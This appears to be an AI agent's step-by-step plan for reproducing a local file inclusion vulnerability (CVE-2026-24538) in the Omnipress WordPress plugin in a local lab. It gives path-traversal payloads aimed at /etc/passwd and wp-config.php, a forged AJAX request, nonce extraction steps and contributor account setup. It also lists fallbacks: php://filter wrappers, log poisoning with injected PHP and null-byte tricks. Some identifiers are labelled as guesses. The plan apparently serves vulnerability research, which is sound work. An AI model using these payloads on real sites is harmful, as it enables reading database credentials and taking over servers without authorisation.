Research Plan: CVE-2026-24538 - Omnipress Local File Inclusion

1. Vulnerability Summary

The Omnipress plugin (<= 1.6.7) for WordPress is vulnerable to Local File Inclusion (LFI). The vulnerability exists because the plugin fails to properly validate or sanitize user-supplied input (likely from post metadata or AJAX parameters) before passing it into a PHP include, require, or similar file-loading statement. This allows an authenticated attacker with Contributor-level permissions or higher to traverse directories and include arbitrary PHP files or sensitive system files (like /etc/passwd or wp-config.php) from the server.

2. Attack Vector Analysis

• Authentication Level: Authenticated (Contributor+).
• Endpoint: Likely wp-admin/admin-ajax.php or a frontend page containing an Omnipress shortcode.
• Vulnerable Parameter: Likely a parameter named template, file, path, or layout (inferred).
• Preconditions:
  • The attacker must have a Contributor account (allowing them to create/edit posts and potentially set custom fields/post meta).
  • The plugin must be active and registered its template-loading logic.

3. Code Flow (Inferred - Requires Grounding)

The agent must verify this path in the source:

1. Entry Point: An AJAX action (registered via wp_ajax_...) or a shortcode handler (registered via add_shortcode).
2. Input Source: The code retrieves a value from $_POST, $_GET, or get_post_meta($post_id, '...', true).
3. Vulnerable Function: The input is passed into a variable, e.g., $template_file.
4. Sink: The variable is used in include( OMNIPRESS_PATH . $template_file ); or require( $template_file . '.php' ); without sufficient sanitization (e.g., no basename() or whitelist check).

4. Nonce Acquisition Strategy

If the vulnerability is triggered via an AJAX endpoint, a nonce is likely required.

1. Identify Shortcode: Search for add_shortcode in the plugin directory to find the main rendering component:
   grep -r "add_shortcode" wp-content/plugins/omnipress/
2. Create Trigger Page: Create a post as the Contributor user containing the identified shortcode:
   wp post create --post_type=post --post_status=publish --post_author=[CONTRIBUTOR_ID] --post_content='[omnipress_shortcode]'
3. Extract Nonce:
   • Navigate to the newly created post's URL using browser_navigate.
   • Check for localized scripts: browser_eval("window.omnipress_data || window.omni_params") (inferred).
   • Look for a key like nonce or ajax_nonce.

5. Exploitation Strategy

The goal is to include /etc/passwd (for verification) or wp-config.php (for data extraction).

Step 1: Discover the Sink

Search the plugin code for dangerous includes:
grep -rnE "include|require|include_once|require_once" wp-content/plugins/omnipress/ | grep "\\$"

Step 2: Identify the Input Source

Determine if the variable in the include comes from $_REQUEST or get_post_meta.

• If Post Meta: The Contributor will update a post's custom field to ../../../../../../../../../../etc/passwd and then view the post or trigger an AJAX call that loads that post's template.
• If AJAX Parameter: The Contributor will send a direct request.

Step 3: Execute the Exploit (Sample AJAX Request)

URL: http://localhost:8080/wp-admin/admin-ajax.php
Method: POST
Headers: Content-Type: application/x-www-form-urlencoded
Body:

action=omnipress_load_template&
template=../../../../../../../../../../etc/passwd&
nonce=[EXTRACTED_NONCE]

(Note: Identifiers like omnipress_load_template and template must be confirmed via grep).

6. Test Data Setup

1. User Creation:
   wp user create contributor_attacker attacker@example.com --role=contributor --user_pass=password123
2. Plugin Activation:
   wp plugin activate omnipress
3. Post Creation (if meta-based):
   wp post create --post_type=post --post_title="LFI Test" --post_status=publish --post_author=[CONTRIBUTOR_ID]

7. Expected Results

• Successful LFI: The HTTP response body will contain the contents of the target file (e.g., root:x:0:0:root:/root:/bin/bash).
• Error Case: If the plugin appends .php, the response might show a "file not found" error revealing the path traversal attempt, or you may need to use a null byte %00 (for very old PHP versions) or target a file that ends in .php like wp-config.

8. Verification Steps

1. Check the response of the http_request for string markers: root:x:0:0 (for /etc/passwd) or DB_NAME (for wp-config.php).
2. Validate the path traversal by trying to include a non-existent file and checking if the error message reflects the traversed path.

9. Alternative Approaches

• Wrapper Exploitation: If direct file inclusion is restricted by path prefixing, try using PHP filters:
  php://filter/convert.base64-encode/resource=wp-config.php
• Log File Inclusion: If you can't include /etc/passwd, try including WordPress debug logs (wp-content/debug.log) or Apache/Nginx access logs if their paths are known, after injecting PHP code into the log via a previous request.
• Post Meta Injection: If the plugin loads templates based on a specific custom field, use WP-CLI to find that field name:
  grep -r "get_post_meta" wp-content/plugins/omnipress/
  Then update it:
  wp post meta update [POST_ID] [FIELD_NAME] "../../../wp-config.php"